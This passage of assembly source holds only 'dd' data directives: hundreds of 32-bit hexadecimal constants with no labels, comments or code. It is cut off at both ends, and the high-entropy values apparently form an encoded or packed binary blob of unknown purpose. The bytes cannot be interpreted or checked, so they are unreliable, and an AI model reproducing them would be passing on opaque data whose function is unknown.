5F395959h, 2000A075h, 5E1B5652h dd 0E821A8B3h, 3A114BA1h, 6A991F90h, 9DE638D2h, 9E421CFCh dd 0EE36FD25h, 86F3515Fh, 0D8BBF604h, 3FC4A5C2h, 9A826284h dd 0B0B3D63Fh, 4B6FF02h, 76C8BB4Dh, 150641E1h, 0D7FD2F08h dd 4842FC4Eh, 0A81A8694h, 0A449BE91h, 53570BB0h, 11789E19h dd 0C490AEBh, 0FE41D43Ah, 0E6087E38h, 721817FEh, 821A3A4h dd 61042454h, 7ACE8310h, 21741804h, 538036B8h, 0DE8B028Ah dd 0EC12339h, 0A7C333D9h, 4B008EEh, 0DF126085h, 2F01DE4h dd 5BE6754Fh, 0F72D3FD8h, 3341A3D0h, 0F9D44CDBh, 70DCF16Bh dd 7369E40Bh, 0E8F0034Dh, 0EF85A688h, 0E42A28Dh, 1C65DE26h dd 0E8547343h, 0B18AECB5h, 526457ECh, 0D409B844h, 0AC12050Ch dd 0F68FC8B6h, 3EE8474Fh, 514BD81Ah, 3DBB21DEh, 0D767F88Bh dd 96E457ADh, 8B2FAEB3h, 5BA6F654h, 5DD092E9h, 0F8155BE7h dd 0FE3B17B5h, 9CF03BCCh, 9F938B53h, 0CCD392DEh, 0BA175665h dd 29948132h, 0F6180955h, 0F70813C1h, 22741396h, 0EF9238B2h dd 11BC7956h, 0B5A51B6h, 0F34075F6h, 5A0274EBh, 0B49D9CC7h dd 4E2A1144h, 6D0B28A7h, 0FE4C2186h, 9397F82Ah, 0EB548C9Dh dd 8EFE5410h, 0C55EB042h, 51D8AC97h, 4CDA2412h, 2D68EE40h dd 0E71BBA4h, 33359E10h, 0F8C50C2Ch, 57521B34h, 2AF14F1Bh dd 9641E92Fh, 0B877F149h, 84EE4C35h, 28FB9D21h, 9C0D2663h dd 0A5567A35h, 4D23564Ch, 831BC8F2h, 72B4C9F8h, 0A071960h dd 1B76A1A1h, 595E3922h, 0D8989DF2h, 0E5BD9BA1h, 646A8B9Dh dd 0EAB524E6h, 0A15BDE46h, 0C602534h, 0D28C9E1Ch, 483DFA21h dd 3883827Ah, 6CF08DB8h, 11944B84h, 5E846999h, 950BB8EFh dd 58142B82h, 2C07323Ch, 29CCC69Ah, 9438A375h, 10DDC518h dd 43C2429Dh, 0ECDEF3C3h, 0FA47766Ch, 2FA9DE8Dh, 4F1EBFCh dd 0C8BD270Ah, 0C2F06904h, 5643F616h, 893304BBh, 6EC08998h dd 0F43448B2h, 5CDBFE06h, 0A75E801h, 8BBD4468h, 0F4B9E992h dd 56D0C261h, 149D1C02h, 6BE92EFDh, 0D2724DD2h, 6551223Dh dd 73EBD488h, 7C2174DDh, 5A7B110Ch, 52F6A5BCh, 5A34ED6h dd 97D2B240h, 7A496F5Ch, 208526B2h, 30804D43h, 0A44439E1h dd 144D798Bh, 140D848Ah, 0A8CF3C3Ah, 415F21EAh, 9F9FC0Dh dd 20411903h, 0B444D5Ch, 59E2A039h, 53CD2F76h, 0F64D4771h dd 0E92F7723h, 0FA97F1C4h, 34FC969Bh, 28DBEF64h, 6203A65Fh dd 27BCD854h, 35B208D6h, 282E2D90h, 0A4FC8B98h, 232104D0h dd 0B44C7CE9h, 7E33F3BFh, 0EC9AFAEh, 1037F904h, 0A58789BCh dd 12275640h, 0EC2E357Dh, 1343466Ah, 48897427h, 0C7330A78h dd 0D94F3C06h, 8259D95Bh, 0E9CF13FBh, 6E13970Dh, 0D6FBA9C7h dd 207F582Ch, 50445652h, 6834AC26h, 4C61C394h, 0E90173DBh dd 20552324h, 0B81CE7ECh, 84D8CEBDh, 0C95995D8h, 684B582Dh dd 0CB916F5Ch, 1B448642h, 0A6EED9E3h, 39E5EC5Fh, 0A23D4CFEh dd 6EE1BF21h, 126B8E8Dh, 5ABBA8E2h, 0B45BF9E9h, 1784F588h dd 989B2CE8h, 0F72F0C1Bh, 7F6F42D8h, 519DA0C6h, 0CBE0908Fh dd 0D347E6F5h, 932DAA31h, 0A2B51418h, 0BCCE7D88h, 9956ABC2h dd 1176E201h, 1C4C571Eh, 0F4552F11h, 0C30342DBh, 85AC8C0Fh dd 0BFC6B0Ah, 2937A111h, 668593ECh, 0CAE8815Bh, 8A6C5E44h dd 90F7D255h, 81327E8h, 20C4F25Ch, 0BCCB55F8h, 450BEDEh dd 0BC0888FCh, 99F72C84h dd 1CE7682Ch, 752092B0h, 9A4C5598h, 9D72E5F7h, 25265851h dd 3B0CF762h, 74D61FEh, 91A9B23Fh, 616093C3h, 5C7DE8A8h dd 72E72497h, 9E5ADCBEh, 9F52A6D0h, 3A1153EBh, 58A7907Dh dd 188AF5F6h, 93CF141h, 0AFFD396Ah, 0A10069F6h, 40C8A667h dd 4180F7C9h, 1046846h, 2267EE82h, 0D895FD3Ch, 9B399563h dd 6885365Ch, 0F7E9072Eh, 98FBDF30h, 4A9C33BFh, 1773EA28h dd 2DF9C502h, 7FB4AAA4h, 0C7BEFA68h, 6946EB14h, 43185E32h dd 2784BE4Ch, 0A1549FAAh, 4251FCE6h, 911E2F0Ch, 0EC284822h dd 0A6F95684h, 58D45A86h, 0BDD86B81h, 0FB423C08h, 0C8987E10h dd 0E43EAEFAh, 0E7E2BA3Ch, 9998DE12h, 0BF10153Eh, 8C3BE739h dd 0C88A9A64h, 9A36747Bh, 4E24843Eh, 373D4457h, 7DD21DBBh dd 944C84BEh, 7CDCAF08h, 3A53BEF4h, 0F12FAC5Fh, 805898EBh dd 22DC4A68h, 6949F949h, 0BF124953h, 67FE4B46h, 89B5D469h dd 7097FC5Bh, 26AE4BE1h, 5CFAE32h, 5FE39E12h, 0C11CF25Fh dd 958EE8E4h, 0D39CF914h, 977C62BAh, 483BA6FEh, 0BC48B37Bh dd 80790464h, 0B06827BDh, 5D391C90h, 4677EC4Ch, 2916B281h dd 50847728h, 583F4AEh, 7459FC62h, 888A2109h, 1EEDB19Dh dd 0B6FA7608h, 5E01428Dh, 2FDEEDB3h, 0B942B1D9h, 4531F5AAh dd 887F0D34h, 0A48156B1h, 9D78187Dh, 0B9AFEEFBh, 0F3386496h dd 0E8244294h, 42E0971h, 2552144h, 9A981425h, 610B5820h dd 5D73E046h, 576E1949h, 1C76D12Fh, 5F9D08C1h, 9A7BE696h dd 0E2FFDE34h, 3419FD38h, 6F3322DEh, 84FAF038h, 25F3CB28h dd 3B27B878h, 82D21C94h, 6AEF76A9h, 7D00BE1h, 0E8532390h dd 11B79FFEh, 987CE4C2h, 4A963C90h, 4B71A686h, 89854978h dd 0A9B7122Fh, 0C43F2558h, 24CCCBC8h, 0A32D1174h, 3BC0A6Dh dd 0DC5E3365h, 899F7842h, 24195D08h, 0FBDA4870h, 0FA227325h dd 9EA7F119h, 54236A76h, 0E416E7BBh, 527AC7F6h, 0E85E6D99h dd 0E3AE6E59h, 0C73B0574h, 8B3F77C0h, 0E0B9DC7h, 50EDBF7Ch dd 44655DEh, 1090054Ah, 4ABC7D83h, 0D0A4C101h, 0BB0513C0h dd 860F6388h, 4984957Ch, 87624810h, 93FDDA32h, 1101ABE1h dd 0A1BA4974h, 22FF449Ah, 40D77512h, 546857F6h, 8A473540h dd 0E5894EB5h, 920F146Dh, 5BF25C62h, 3B312889h, 3F36212Bh dd 0E0532D64h, 63F30F5h, 1241C71Dh, 3294D8EEh, 723A02E9h dd 1383089Eh, 0E75F15C8h, 0F52886D8h, 25FF0D82h, 846A8A17h dd 44557A9h, 94BD8A31h, 785BC81Bh, 0C986F1F6h, 4C82ECB8h dd 0C0A022Fh, 64275145h, 0BBC47D79h, 0BEC3ADB2h, 286DDFFCh dd 0B097D0Ch, 16600DDCh, 1CB913F7h, 69515025h, 85152348h dd 8BFB868h, 42A63E7Fh, 23FC5FA4h, 0D46F6CD4h, 0C07D848Ah dd 0A6F8A0AFh, 0AE056A88h, 9806B5EBh, 7092ABACh, 0CC28C84Ch dd 8A8640D0h, 7C15D64Fh, 93C71577h, 4365BCF6h, 82219C6Ch dd 13DE924h, 2844E0B5h, 0A935E31h, 1B6BF4F1h, 7AC18C3Bh dd 98378FA7h, 0EF44C481h, 8D2E92CDh, 8A510900h, 15BD893Dh dd 29BF3313h, 28DD34C4h, 47353E85h, 0E31AFB1Eh, 0CC48DA2Fh dd 66CF1C54h, 206BB5EEh, 0AF3C710Fh, 3E1210E1h, 0E80D09A3h dd 8461DCD9h, 42111418h, 68122B8Ah, 0C02D2D8h, 94FC03CEh dd 0B1101CD4h, 0F72928Eh, 0D0AF24BCh, 27EFBC08h, 3AF1BC58h dd 19816575h, 5B389022h, 0B002EAB4h, 5CC93304h, 7E080FAFh dd 60158AC2h, 30011F56h, 3B410114h, 0F07C2184h, 79F7AAC3h dd 65B6291Bh, 0C8BF508Eh, 72C1950Fh, 3A19958Bh, 8F523A38h dd 0BF324BD1h, 0ABC3522Bh, 0A26733C2h, 7A5D8BA1h, 0EE8D4CC5h dd 0FED0226Bh, 6BE0EAEFh, 1882AFC1h, 1830040Dh, 24460688h dd 51C0B02Fh, 89C20BD8h, 740C1355h, 6AB2A016h, 59EA1EBAh dd 0F9F79906h, 270D285h, 462C06C6h, 5CC2C2EBh, 0E8AE560h dd 4008880Bh, 7800FD4Eh, 0F373F13Bh, 7512629Dh, 195D82B2h dd 8312B402h, 34E12363h, 0CF2BFD48h, 6210832h, 50F0418h dd 0CFADB806h, 2895BC5Fh, 784306C1h, 68907021h, 586460C8h dd 18C73224h, 0A42EC6F4h, 10C80637h, 40F420F0h, 0A125FCF8h dd 666E5450h, 0F02DFC11h, 0F0F66451h, 0FA87BFE8h, 0BCD0340Ch dd 8A06CB76h, 893D54F5h, 0D9A5F3F8h, 198421Ch, 95475A13h dd 89FEF86Ah, 7D63E959h, 4E596DF7h, 0A923E16Ch, 840B41C4h dd 647F44A6h, 32F41EF0h, 8D41B97h, 458864FCh, 29B4BB53h dd 9C10D96Ah, 0D2442EECh, 0C512B4F0h, 0DA44FB11h, 19B48CBFh dd 49539FBEh, 79316816h, 628EAE8h, 3D63188Dh, 31BF8AB7h dd 0A55D5544h, 4FC884ECh, 2FC79C3h, 11E062F8h, 681C2E27h dd 8C9C0CEFh, 2FEB5B06h, 8EDB84BEh, 38104D66h, 3344C47h dd 0F632711Bh, 1A510D8Fh, 0F242606Ah, 1B308AB5h, 8CAB84DBh dd 7083142Dh, 8DFD5A66h, 6C49AD8Ch, 85FDE083h, 69867A38h dd 65D03980h, 0B17E6851h, 93B15832h, 0E29A63Eh, 3F532475h dd 4C25FE94h, 9BA67818h, 81CB7FE1h, 8394E510h, 4134EB14h dd 0BC2F412Ch, 466DE6C8h, 519821C8h, 29200CAFh, 2716016Ah dd 0DC0E9367h, 0D82B1467h, 0B6EC774Ch, 1DDB4964h, 0A00056A5h dd 0BFBA90CEh, 1210B86Dh, 5FEB8ADFh, 85E034E6h, 3843FA9Fh dd 0E902708Dh, 896DACE8h, 0F5570F50h, 7C381448h, 74F70E1Fh dd 0BAF36832h, 92D72221h, 12B7633Fh, 0C94928E5h, 5627FE43h dd 308D2011h, 590B01D0h, 0F7751E38h, 9815A902h, 77B81A7Fh dd 25C1E30h, 4B719084h, 0B56FAC35h, 0B8ACC82h, 6105932h dd 604B1D8Bh, 97D3648Ch, 0C389BC45h, 610C548Eh, 91565EACh dd 0DA44B51Dh, 4E757F89h, 4ED2B6BEh, 0EFF8C325h, 23D1A34Eh dd 0DC7D0BD8h, 0A8450ACEh, 3ABAE16Eh, 0B23AD999h, 4EAC2F5Bh dd 4E179817h, 272CC428h, 0F94BC824h, 8E64A529h, 4A98D34Dh dd 4C7B68E3h, 669DA6D6h, 0C70C3E2Eh, 44BDB080h, 4FA3DBAh dd 0A364241Ah, 88C2219h, 0AF0F5157h, 8888AAFBh, 8271A809h dd 27FBD6ADh, 0C48CDC60h, 76A5404Eh, 2F35A294h, 25892877h dd 0A642B707h, 57450A2h, 0D98541h, 0AA4C358Bh, 51DBFC66h dd 0D7F13BA3h, 20ED21A0h, 59768DA0h, 7BC34E26h, 0FFEFE2A5h dd 30680721h, 0FED66F75h, 69B4A47Bh, 95E1EF2Ch, 3D0F8928h dd 9D37FA02h, 9CB8FB0Bh, 549FF77Ch, 0C655D210h, 34851070h dd 0BD801404h, 0F6C35E1Dh, 331B0F21h, 7D0C8AC0h, 21C83C1Fh dd 8857AB11h, 454AFC10h, 0FDFD1450h, 0BC775312h, 317BF925h dd 94F90C43h, 9325530Fh, 0AB6B2A47h, 0F1DA1C0Ah, 0F319347Bh dd 91ED15B3h, 34299F60h, 59302632h, 0E94A3B28h, 0B7972252h dd 46AB3DE0h, 84F1F9BDh, 0C1563174h, 3240E80Ah, 44C76F5h dd 93233D77h, 0E498C97h, 81AE761Ah, 61C28056h, 2581FE88h dd 4C1FE847h, 0F8143B21h, 0A6BCDD72h, 0FE182510h, 4508674h dd 0C4F7BE8Ch, 0D92AEF18h, 8FEA1823h, 6811240Bh, 9522EB81h dd 589FA266h, 562D645Bh, 0AAD8620h, 0A623E9E7h, 3A199430h dd 0B73F4758h, 5E182594h, 6AC9C819h, 943D24B4h, 0E8CE65C9h dd 1EA8D42Bh, 76A420Dh, 0D5445D9Ah, 2353E420h, 9C108BEEh dd 52E01D64h, 0D62DD21Fh, 24DBA456h, 88A81334h, 0D49F7587h dd 6ECC185Fh, 50811120h, 10A1492Ah, 1B1CCA26h, 6DA18D71h dd 88E15D51h, 2F6780Fh, 43324468h, 8B1CE8A2h, 0CAB74D71h dd 4ED2BBCDh, 1D534E68h, 352829ECh, 27042DDCh, 0F4282FEDh dd 0D0D12518h, 0F4CEE464h dd 0D80AE834h, 549B5396h, 503D8302h, 29740B6h, 0A143187Eh dd 70FF1154h, 17E80413h, 1FFF9A94h, 67561332h, 5A667B85h dd 58392088h, 19740812h, 35E42BF8h, 18B7E035h, 0F4A855D7h dd 0F241C23Bh, 2C62002h, 1E6C0D75h, 0E9A2C083h, 1C7C3446h dd 0A6186880h, 234A5DD2h, 2A125329h, 42B1832Ah, 18630D1Ch dd 4B1BE792h, 0B53F0B80h, 0E81AC7BDh, 0FAC3559Ah, 7F6A0B06h dd 0EABD8468h, 1347B2C4h, 44341D89h, 0BCCEE84Ch, 40A118CFh dd 183F6A2Bh, 22AA44BFh, 19D79468h, 1C4073F8h, 2E108BB2h dd 988B84BEh, 0A8A0E799h, 48644625h, 0B1571878h, 38A602BFh dd 893B1611h, 98C1024Eh, 76595FEh, 77EB8D8Ch, 6857F72Ch dd 0C8DE45D8h, 258F813h, 0BE84856Bh, 1700E98Dh, 4FF0374h dd 0B868FC4Dh, 4B678B0Bh, 637D3C0Eh, 6CA77C06h, 9552580Ch dd 2B2DB084h, 42B94074h, 0B39C1BE8h, 410AE8Dh, 0F7C4A9D1h dd 0E82422A1h, 9255E96Ah, 1D381B14h, 0A2362FA0h, 0FB991949h dd 0A1CF110Bh, 0B0104423h, 0CA1B8E1h, 0AB4686B4h, 0F4257F48h dd 5E94323h, 54E88909h, 9DA04E85h, 1012AB73h, 901661B3h dd 21CEF701h, 4A709159h, 6011A3EDh, 8DA29601h, 6D890684h dd 0C977F22Fh, 6D66FFF2h, 266A9AA2h, 0F445BADCh, 0C424B816h dd 0D4B44AEEh, 88CB0D3Bh, 0FF21C21Bh, 0AD562835h, 0FA684E0Ch dd 779C7846h, 0FAF864F7h, 0C16AA8CCh, 0E0051B6Ah, 44A502Ch dd 22A0EB1Ah, 78EDD528h, 0A028F014h, 97B08910h, 0F09367F1h dd 75A838AAh, 8A961C7Ch, 875270C5h, 0A22FAE3Dh, 39A34760h dd 43323168h, 25A6E598h, 0BCFD2794h, 0F346F24h, 12B5E9h dd 4E5D8309h, 0A63E70E2h, 1AA7828Bh, 0EA785F5Eh, 8337E964h dd 977B54BAh, 0F10DBB12h, 8152F294h, 55FED428h, 3FE8CC1Eh dd 589F49ADh, 0C212813Ch, 0EB928104h, 0FFC83BF6h, 0C501E11Ah dd 5DD96E8Fh, 5D93053Fh, 4DCCEEF8h, 18882F59h, 4912BD64h dd 0F209F675h, 1560902Ch, 0A907A368h, 0E32E329Ch, 5F8B13FEh dd 149C62EBh, 0AFE3B264h, 76006176h, 0E6920128h, 8935696Eh dd 0EB5F983Ah, 0C57EBC86h, 0D5619860h, 5912609Ch, 0FF9294F2h dd 971BB23Ch, 59B57494h, 9E76C9C8h, 4930D7CBh, 7D8BE5F0h dd 0E9875A8Bh, 0D3E5C954h, 0E586BCEh, 0FF2DCD6Bh, 4C1DE628h dd 0CC7DB958h, 4E343BFDh, 7E2944ABh, 174DC4B5h, 6A0B191Fh dd 0BF892B24h, 8B7D52A7h, 7B3BFDDBh, 9E202C27h, 2437FEC6h dd 626D4DE8h, 0A255482Ch, 470D7E50h, 0BDEB80C4h, 74FDFE83h dd 0DD0A296Eh, 83541C50h, 9AFAA44Fh, 4C7277Bh, 0E0064EEBh dd 43E9997Ch, 40C48125h, 11A836E1h, 4E587827h, 8495AD2Eh dd 494427D4h, 4EBE108Eh, 815578B2h, 0A19A55E6h, 86C7DF07h dd 34A4D58h, 0E6F0C4C8h, 1B5C6B9Dh, 0BD0CEDEAh, 0E8882818h dd 97864C12h, 68C45C99h, 0E3188AA0h, 0F79E5109h, 6A5DB819h dd 0F7F4570Bh, 0DE2C2E98h, 0E79E6E91h, 0E4E5260h, 0A65D5625h dd 8457263Eh, 0C681210h, 15A02267h, 0AB821B5Ah, 92502419h dd 3622DC11h, 170A76FEh, 0CA50AFBEh, 0E8329811h, 0F39D5B4Bh dd 89341666h, 472513F2h, 386FA3F8h, 0BD84C527h, 87590F49h dd 7C402070h, 0A2B58BEAh, 8929880Eh, 390D6B11h, 911D709Dh dd 0E64A5F18h, 0F6A0107Bh, 30324ECFh, 5A1F6AC2h, 958C8D14h dd 18B1233h, 26041DF8h, 872D3880h, 2584396h, 0BE0F1FA8h dd 89017001h, 3584C619h, 57AA3147h, 4F970E49h, 2067858h dd 0CA79284Ah, 0FC47648Ah, 7E57F113h, 0E4198F16h, 6080E16h dd 0F82C2791h, 0A3E8007h, 9FC435B5h, 99F40192h, 0D51732BAh dd 17B58346h, 5261FFDCh, 25A120E8h, 13AE2C0Ch, 6EBF91F4h dd 7F20089Ch, 15044956h, 0BF885050h, 44329F53h, 0C6C191B5h dd 684F7A82h, 187D66F8h, 825C8FA8h, 0AD28DF84h, 5DB84B77h dd 975C75Eh, 0E86830B0h, 6E4521A6h, 65E90A34h, 588B37A4h dd 0F394AE40h, 46FA4240h, 5A105487h, 842A7783h, 4AC8E542h dd 298DE466h, 8215D0E8h, 78682A75h, 3B86A0A8h, 6A2DE844h dd 9B7FB89h, 0A25C404Dh, 24AC2149h, 0BA4C55E8h, 39EB320Ch dd 9511E076h, 532F170Ah, 2824D869h, 0E172EEE8h, 0D4F50847h dd 5BC5A971h, 8B091C08h, 4AC2E9C7h, 0C9F9436Fh, 0D19A2C85h dd 9255B702h, 0C941B24Dh, 5458416Fh, 5C44C80Ah, 3240191h dd 2E8D1471h, 0E4D97514h, 7F84CCA2h, 0A30F7316h, 542185C4h dd 51402C45h, 48741E38h, 9FF19376h, 48F66B9Bh, 742B7822h dd 9E29E15Ch, 9986D242h, 1248446Fh, 0A61E4B88h, 98681BBCh dd 704076C7h, 23A7E182h, 0BD5BB7DCh, 0D37131C4h, 1B5D5AF2h dd 97DFD3F0h, 0A988B1E4h, 8FA22C4Dh, 120E4A77h, 6F0B9067h dd 25A7AD86h, 28DBA4D7h, 1889C491h, 0A8CCC622h, 0A024E995h dd 80449350h, 32B83D22h, 8B810127h, 0DF919F28h, 42E04028h dd 24434C08h, 12582F2Ch, 3A528E86h, 216A1613h, 0D69D9082h dd 7424E1D4h, 5AC0B023h, 65C6027Eh, 22474006h, 829088A8h dd 0DAF25724h, 513933F3h, 4D5F587Ch, 0AC750816h, 742CD302h dd 1BB1AA25h, 38E2B751h, 0F686A18h, 5442CB8Dh, 974B469Ah dd 8BC17676h, 0DC70207Dh, 741F1538h, 0AED98F13h, 74344C83h dd 81460E0Ah, 0AC2C5CC7h, 0DD7C0201h, 9D4ECEEBh, 8615121h dd 0D7FEB774h, 0BB2D3F13h, 33B0748Bh, 93BD0315h, 77A17EDBh dd 0C140749Eh, 3307E632h, 0AF78903h, 0EAA01497h, 10810E2Dh dd 84FCC43Ch, 0E88534B9h, 0CCBE59B5h, 15996BDAh, 18A7090h dd 84115182h, 42676422h, 6184F004h, 0AF4A2775h, 34FF1216h dd 0D5AE04E2h, 1E537284h, 8588DE59h, 4E046C68h, 8A8A84B3h dd 343F8E36h, 0C2D47C48h, 0B19BE810h, 0CD240955h, 0AE01E0C7h dd 3868301Dh, 56DFE96Fh, 2015B8B1h, 1C880BC3h, 505B5E06h dd 2284FD28h, 41264366h, 97703C80h, 740CD0DDh, 3F1161DDh dd 99F7F85Fh, 262C93EAh, 8B252743h, 36400A11h, 0C6E90A7Fh dd 0BEC134FDh, 1E2265FCh, 0D910A29h, 819F4BFh, 1CA438D0h dd 83F3E280h, 6226538Eh, 1465F011h, 0A1D683DDh, 0D76954BBh dd 6911582Dh, 2619A1AFh, 0B0BB9E32h, 56638422h, 9C651601h dd 4D1672A5h, 78459866h, 0F724B5CFh, 42147A3h, 10C8AE24h dd 2F024BBh, 0BC8D0202h, 12745135h, 0A837F107h, 3EA1F8FBh dd 2D804B5Dh, 0B4D248EEh, 429BA635h, 624221E0h, 4429029Bh dd 65DECF91h, 5A402795h, 8AF1BDBFh, 27F7BC88h, 7EF92882h dd 0D2B119A9h, 0E51448A8h, 947C458Ch, 8492849Eh, 4546F940h dd 0A02C120Ch, 0C252FAF7h, 448C5A20h, 97F4E8F8h, 2A9213BFh dd 4027483Ch, 9F34CF8h, 6A251E14h, 42A0BD28h, 0C3843265h dd 6A129053h, 391EC912h, 44460A76h, 2F09E76Eh, 684140E9h dd 2768A520h, 9CF6B9BCh, 1F458D71h, 8FCDEABh, 93F2984h dd 631E7DE9h, 12824223h, 2A99FB75h, 1A740342h, 4859107Fh dd 54408364h, 0C948E811h, 7F05A2DAh, 590C9769h, 667D59D6h dd 556664EAh, 63A5E45Fh, 4A3A3674h, 1A31A718h, 26FAD4C7h dd 654EBB24h, 97A78DD4h, 4BE30A26h, 0DF3CE55Eh, 23890491h dd 6EB12BFh, 32EEC73Dh, 0C253C45Fh, 94685771h, 9321AF44h dd 0ED0A4481h, 7F8D2878h, 2339801Dh, 0EAA166CBh, 69025DAAh dd 3806C330h, 505616F6h, 65C70B51h, 55BAEEB0h, 147868D3h dd 1065425Ch, 83E17D2Dh, 925028DAh, 8B850071h, 4472E5A9h dd 0E4588501h, 0BF38E9F5h dd 54ED4149h, 850D8648h, 868A9CA0h, 1873504Ah, 0E61F751Ah dd 3880193Fh, 15661E23h, 3C322BACh, 6ADDE969h, 6C57D96h dd 2B509D09h, 1F85579Ch, 27986D22h, 29B74872h, 8E0B9F64h dd 60C3547Ch, 0B7E946F6h, 0E1B61E4Ch, 8C1164DCh, 33100A80h dd 1788E501h, 0E8130B6Ah, 0B15D795Bh, 9B14DF87h, 4DF65AADh dd 387C3413h, 814291B1h, 9443CEB8h, 0A85368E5h, 0DA26B4A6h dd 1371AA7Bh, 8768F01h, 59E28534h, 762D3FB4h, 86605982h dd 315CE9B3h, 413DA536h, 4BFEE2E9h, 18681485h, 8C362226h dd 63D02211h, 13A2545h, 1488D7Ah, 53AC08Ah, 89F1A2B5h dd 0AE17410Fh, 903FC648h, 47C862CBh, 1EE37D89h, 84387FDAh dd 91504125h, 0E815C430h, 10C8152Ah, 750B62ABh, 21D5B41Ah dd 0E6427F08h, 305D234Fh, 58DD1222h, 1D270F33h, 8EFC4B7Ah dd 9827F29Dh, 94284B55h, 7A3FA25Fh, 7ED5E816h, 81154471h dd 0FD5930A7h, 2C3D3B0Ah, 75DF7C09h, 0B6D004CAh, 5D6283BCh dd 0B2B45980h, 0ACA202FAh, 0BA910D8Ah, 3181E669h, 49024888h dd 312870Fh, 0B79D8F8Dh, 4B932E3Ch, 0C15143h, 89871293h dd 0E5E8F770h, 0BC9C0F10h, 7C8D2840h, 81AC5535h, 9D69778h dd 0A9116324h, 99853B31h, 0CBDFA8E2h, 0B27D7FECh, 75615DBFh dd 0AC08A11Fh, 4820908h, 0FF44501h, 5877CB55h, 2DE8F240h dd 0A2307FC8h, 3AA55044h, 7CBFA689h, 2FEB4386h, 2B52707Eh dd 26A1718h, 0E88396BCh, 0C9619297h, 0EE5D8812h, 8673314Eh dd 4D3B187Fh, 4EF1210h, 28A53610h, 3901B8Fh, 0B22FA482h dd 0F88B14D1h, 18B8E2ADh, 908D7984h, 8B19B03Fh, 1459BC07h dd 16E25F13h, 90B0C19h, 89C7B27Fh, 25D7EC8Fh, 1A98848Dh dd 0F248A38h, 0A6B453Ah, 2816D9C7h, 2CE03B32h, 5ABF187Eh dd 63B411DBh, 0BECE1343h, 0A9AC5D38h, 0CC15BC12h, 0A454680Ch dd 5389AB11h, 81F496C6h, 5A066898h, 8F229843h, 7E058783h dd 90681C75h, 8A7E1148h, 210B88BFh, 0E97C1FA6h, 0E4E98EC3h dd 1111291Ch, 18AB506Bh, 514C890h, 0A0CF046Ah, 0A59156E8h dd 846809F8h, 90A40918h, 8042D5B6h, 301481BDh, 948097Ch dd 167E0A39h, 6428036Ah, 911D3180h, 2143642Bh, 737DAD48h dd 127E1511h, 0BF9C8811h, 99B88A4h, 5C0411EBh, 606A0478h dd 800113FDh, 558820C2h, 432349ECh, 4C14EDB4h, 82948007h dd 560C6A10h, 787550E0h, 0A6A050B1h, 0B8A064Bh, 0AFA20A5Fh dd 0EB542D96h, 905886CAh, 0D81882BDh, 949F7D93h, 3B146B9Dh dd 0EE470BF5h, 211F83A3h, 10217378h, 649F942Fh, 0A8BF295Fh dd 557B29Fh, 8973BCACh, 0A49D5120h, 1180827h, 693C70A7h dd 29572F95h, 3A4D0AA0h, 40B17D9Dh, 21418D84h, 0E922E47Ch dd 0CB3B0882h, 0F5BFDB40h, 0C11F8B92h, 0F8648903h, 7416DC26h dd 7B4BF471h, 0C2DC3D0Ah, 36156C21h, 64C7C815h, 16212260h dd 58219043h, 98B70C10h, 0F7214C64h, 0C8100A7Ah, 4444884Ah dd 86B32CE2h, 0CD213842h, 30328F64h, 790BB811h, 21244286h dd 496862A3h, 8E081C11h, 0C8539085h, 2C79440Ch, 442863Eh dd 29646421h, 1262F031h, 0F321164Fh, 88E01047h, 0CDE593Ah dd 254784CCh, 7E29E651h, 68116A81h, 0FE33BAC4h, 99E90BC5h dd 42A02948h, 111579FCh, 44908806h, 11803270h, 3C80AD3h dd 472274C4h, 0AA086C19h, 4A856985h, 54290860h, 40321E44h dd 0C90A8111h, 29500810h, 0F5842010h, 11142246h, 0AC20A58h dd 0FC100868h, 0CCC8961h, 2F12F7ECh, 1B0B9215h, 0D4AA3324h dd 32A32984h, 0A0611C4h, 0B2880FCBh, 88AC1029h, 219C647Ah dd 890A78DDh, 291A080Eh, 51888410h, 0B4227464h, 67049215h dd 10296A1Fh, 4454C828h, 0F5B1748Bh, 11481512h, 0EB100B76h dd 4E388845h, 19C1B290h, 854C082Ch, 20C8AC90h, 7D7C3745h dd 44687B17h, 54840861h, 44F829ABh, 64850E60h, 335AC619h dd 0B1526A3h, 212982E9h, 77E508D4h, 59084C54h, 84BC2940h dd 0B0215943h, 90D0BC11h, 0A8940321h, 62A72115h, 9C1144EEh dd 90859208h, 4494C8B8h, 86A32C7Dh, 85768842h, 80C86C90h dd 572C5344h, 21704286h, 0E8F9673Eh, 29226444h, 21E44316h dd 0B2141058h, 8501991h, 887642FFh, 2248647Ch, 304316EAh dd 0D5104021h, 34191BB2h, 7538FE09h, 5A97F641h, 0B8CF91BCh dd 3B2FBF04h, 5FCC9D05h, 41D9D1EDh, 687280E8h, 33EEA45Ah dd 56CC7405h, 4B22DE81h, 0E982142Ch, 25F2F5D4h, 575FBC22h dd 0D610676Eh, 15B08A41h, 0C1C8423Fh, 4422A464h, 21894316h dd 0B22F109Ch, 8941974h, 7088851Ah, 228C4440h, 5B431605h dd 0F0087C21h, 0C2A5175h, 0DB428470h, 646415C8h, 0F416C622h dd 5C42843Fh, 506FB121h, 9C4450C8h, 4286712Ch, 64872148h dd 113C325Ch, 0D210B72h, 5D883490h, 843EF858h, 48212842h dd 113DC162h, 85330820h, 14C8AC90h, 6D2C1E44h, 210C4286h dd 37586409h, 74F44208h, 3CBC2114h, 905EF808h, 19A7B2DFh dd 85CA08E8h, 0E0C87590h, 602CB544h, 21D04286h, 323264A0h dd 0B8B11C8h, 0BC901D21h, 0C1587688h, 0B042843Bh, 0AC646121h dd 4C11A032h, 8B99331Dh, 5E918407h, 10B1884Eh, 808A41C0h dd 0A2231029h, 8EC97F76h, 4CD52B1Ah, 245ED108h, 48A27080h dd 0D8144B84h, 47268DECh, 6888BA01h, 0F3ECA75Eh, 0DA260F8h dd 6F6FE641h, 0C1220B8Dh, 41A461E2h, 0E612E824h, 872C5280h dd 882EB110h, 739C4220h, 0A621C594h, 8A18103Ah, 91E41587h dd 72110832h, 8851210Bh, 42BA5DFCh, 0EC643CC8h, 21164822h dd 0E01039F7h, 0E2593388h, 4284D00Ch, 6493C81Eh, 160922C4h dd 0B4217E43h, 5072F408h, 428437CFh, 64DF21A4h, 119432BAh dd 6D100BCAh, 10E19D36h, 1958B2B5h, 85A00870h, 4E334488h dd 598B8830h, 2CAC142Fh, 0D18B7023h, 0AD19FFECh, 6526425Ch dd 0E132F616h, 541784C2h, 47164E22h, 104821D1h, 399AB237h dd 85200840h, 34C88391h, 562C0944h, 102C428Eh, 3FA271F2h dd 0DB082439h, 31F48885h, 0C4221CC4h, 21DD4716h, 0B2AD100Ch dd 22843B16h, 0FF231696h, 5CF40830h, 3DB27F90h, 0DA09EC39h dd 